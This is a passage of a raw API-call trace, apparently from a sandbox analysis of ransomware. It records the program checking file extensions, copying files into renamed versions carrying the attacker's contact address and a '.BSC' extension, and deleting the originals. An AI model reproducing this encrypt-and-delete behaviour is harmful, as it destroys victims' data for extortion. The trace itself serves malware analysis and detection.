44 [0102.173] lstrlenW (lpString=".zip") returned 4 [0102.173] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.173] lstrlenW (lpString=".rar") returned 4 [0102.173] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString=".bz2") returned 4 [0102.173] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString=".7z") returned 3 [0102.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.173] lstrlenW (lpString=".dbf") returned 4 [0102.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.173] lstrlenW (lpString=".1cd") returned 4 [0102.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.173] lstrlenW (lpString=".jpg") returned 4 [0102.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.174] lstrlenW (lpString=".doc") returned 4 [0102.174] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString=".docx") returned 5 [0102.174] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.174] lstrlenW (lpString=".pdf") returned 4 [0102.174] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString=".xls") returned 4 [0102.174] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString=".xlsx") returned 5 [0102.174] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.174] lstrlenW (lpString=".ppt") returned 4 [0102.174] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.174] lstrlenW (lpString=".zip") returned 4 [0102.174] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.174] lstrlenW (lpString=".rar") returned 4 [0102.174] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString=".bz2") returned 4 [0102.174] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString=".7z") returned 3 [0102.174] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.174] lstrlenW (lpString=".dbf") returned 4 [0102.174] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.174] lstrlenW (lpString=".1cd") returned 4 [0102.174] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0102.174] lstrlenW (lpString=".jpg") returned 4 [0102.175] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.175] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.175] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.177] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=86284) returned 1 [0102.177] CloseHandle (hObject=0x340) returned 1 [0102.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0102.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0102.178] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.178] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.194] GetLastError () returned 0x0 [0102.194] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0102.600] WriteFile (in: hFile=0x338, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x15110, lpOverlapped=0x0) returned 1 [0102.602] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.602] WriteFile (in: hFile=0x338, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.602] SetEndOfFile (hFile=0x338) returned 1 [0102.603] CloseHandle (hObject=0x338) returned 1 [0102.605] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.605] SetEndOfFile (hFile=0x330) returned 1 [0102.606] CloseHandle (hObject=0x330) returned 1 [0102.606] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.607] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0102.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.607] lstrlenW (lpString=".doc") returned 4 [0102.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.607] lstrlenW (lpString=".docx") returned 5 [0102.607] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.607] lstrlenW (lpString=".pdf") returned 4 [0102.607] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.607] lstrlenW (lpString=".xls") returned 4 [0102.607] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.607] lstrlenW (lpString=".xlsx") returned 5 [0102.607] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.607] lstrlenW (lpString=".ppt") returned 4 [0102.607] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.607] lstrlenW (lpString=".zip") returned 4 [0102.607] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.607] lstrlenW (lpString=".rar") returned 4 [0102.607] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString=".bz2") returned 4 [0102.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString=".7z") returned 3 [0102.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.608] lstrlenW (lpString=".dbf") returned 4 [0102.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.608] lstrlenW (lpString=".1cd") returned 4 [0102.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.608] lstrlenW (lpString=".jpg") returned 4 [0102.608] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.608] lstrlenW (lpString=".doc") returned 4 [0102.608] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString=".docx") returned 5 [0102.608] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.608] lstrlenW (lpString=".pdf") returned 4 [0102.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString=".xls") returned 4 [0102.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString=".xlsx") returned 5 [0102.608] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.608] lstrlenW (lpString=".ppt") returned 4 [0102.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.608] lstrlenW (lpString=".zip") returned 4 [0102.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.608] lstrlenW (lpString=".rar") returned 4 [0102.609] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.609] lstrlenW (lpString=".bz2") returned 4 [0102.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.609] lstrlenW (lpString=".7z") returned 3 [0102.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.609] lstrlenW (lpString=".dbf") returned 4 [0102.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.609] lstrlenW (lpString=".1cd") returned 4 [0102.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.609] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0102.609] lstrlenW (lpString=".jpg") returned 4 [0102.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.609] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.609] lstrlenW (lpString="eula.rtf") returned 8 [0102.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0102.609] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=6851) returned 1 [0102.609] CloseHandle (hObject=0x330) returned 1 [0102.610] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0102.610] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.610] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0102.610] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.610] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.610] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.610] GetLastError () returned 0x0 [0102.610] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0102.622] WriteFile (in: hFile=0x338, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0102.624] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.624] WriteFile (in: hFile=0x338, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.625] SetEndOfFile (hFile=0x338) returned 1 [0102.625] CloseHandle (hObject=0x338) returned 1 [0102.625] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.626] SetEndOfFile (hFile=0x330) returned 1 [0102.626] CloseHandle (hObject=0x330) returned 1 [0102.626] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.627] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0102.627] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.627] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.627] lstrlenW (lpString=".doc") returned 4 [0102.627] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.627] lstrlenW (lpString=".docx") returned 5 [0102.627] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.627] lstrlenW (lpString=".pdf") returned 4 [0102.627] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.627] lstrlenW (lpString=".xls") returned 4 [0102.627] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.627] lstrlenW (lpString=".xlsx") returned 5 [0102.627] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.627] lstrlenW (lpString=".ppt") returned 4 [0102.627] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.628] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.628] lstrlenW (lpString=".zip") returned 4 [0102.628] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.628] lstrlenW (lpString=".rar") returned 4 [0102.628] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.628] lstrlenW (lpString=".bz2") returned 4 [0102.628] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.628] lstrlenW (lpString=".7z") returned 3 [0102.628] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.628] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.628] lstrlenW (lpString=".dbf") returned 4 [0102.628] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.628] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.628] lstrlenW (lpString=".1cd") returned 4 [0102.628] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.628] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.628] lstrlenW (lpString=".jpg") returned 4 [0102.628] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.628] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.628] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.629] lstrlenW (lpString=".doc") returned 4 [0102.629] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString=".docx") returned 5 [0102.629] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.629] lstrlenW (lpString=".pdf") returned 4 [0102.629] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString=".xls") returned 4 [0102.629] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.629] lstrlenW (lpString=".xlsx") returned 5 [0102.629] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.629] lstrlenW (lpString=".ppt") returned 4 [0102.629] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.629] lstrlenW (lpString=".zip") returned 4 [0102.629] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.629] lstrlenW (lpString=".rar") returned 4 [0102.629] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString=".bz2") returned 4 [0102.629] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString=".7z") returned 3 [0102.629] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.629] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.629] lstrlenW (lpString=".dbf") returned 4 [0102.629] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.629] lstrlenW (lpString=".1cd") returned 4 [0102.629] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.629] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0102.629] lstrlenW (lpString=".jpg") returned 4 [0102.629] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.630] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.630] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.630] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.646] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=72076) returned 1 [0102.646] CloseHandle (hObject=0x338) returned 1 [0102.646] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0102.646] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.647] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.647] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.647] GetLastError () returned 0x0 [0102.647] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x1198c, lpOverlapped=0x0) returned 1 [0102.673] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x11990, lpOverlapped=0x0) returned 1 [0102.675] ReadFile (in: hFile=0x338, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.675] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.675] SetEndOfFile (hFile=0x354) returned 1 [0102.675] CloseHandle (hObject=0x354) returned 1 [0102.677] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.677] SetEndOfFile (hFile=0x338) returned 1 [0102.678] CloseHandle (hObject=0x338) returned 1 [0102.678] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.678] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0102.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.679] lstrlenW (lpString=".doc") returned 4 [0102.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.679] lstrlenW (lpString=".docx") returned 5 [0102.679] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.679] lstrlenW (lpString=".pdf") returned 4 [0102.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.679] lstrlenW (lpString=".xls") returned 4 [0102.679] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.679] lstrlenW (lpString=".xlsx") returned 5 [0102.679] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.679] lstrlenW (lpString=".ppt") returned 4 [0102.679] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.679] lstrlenW (lpString=".zip") returned 4 [0102.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.679] lstrlenW (lpString=".rar") returned 4 [0102.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.679] lstrlenW (lpString=".bz2") returned 4 [0102.680] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString=".7z") returned 3 [0102.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.680] lstrlenW (lpString=".dbf") returned 4 [0102.680] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.680] lstrlenW (lpString=".1cd") returned 4 [0102.680] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.680] lstrlenW (lpString=".jpg") returned 4 [0102.680] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.680] lstrlenW (lpString=".doc") returned 4 [0102.680] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString=".docx") returned 5 [0102.680] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.680] lstrlenW (lpString=".pdf") returned 4 [0102.680] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString=".xls") returned 4 [0102.680] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString=".xlsx") returned 5 [0102.680] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.680] lstrlenW (lpString=".ppt") returned 4 [0102.680] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.680] lstrlenW (lpString=".zip") returned 4 [0102.680] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.681] lstrlenW (lpString=".rar") returned 4 [0102.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.681] lstrlenW (lpString=".bz2") returned 4 [0102.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.681] lstrlenW (lpString=".7z") returned 3 [0102.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0102.681] lstrlenW (lpString=".dbf") returned 4 [0102.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.681] lstrlenW 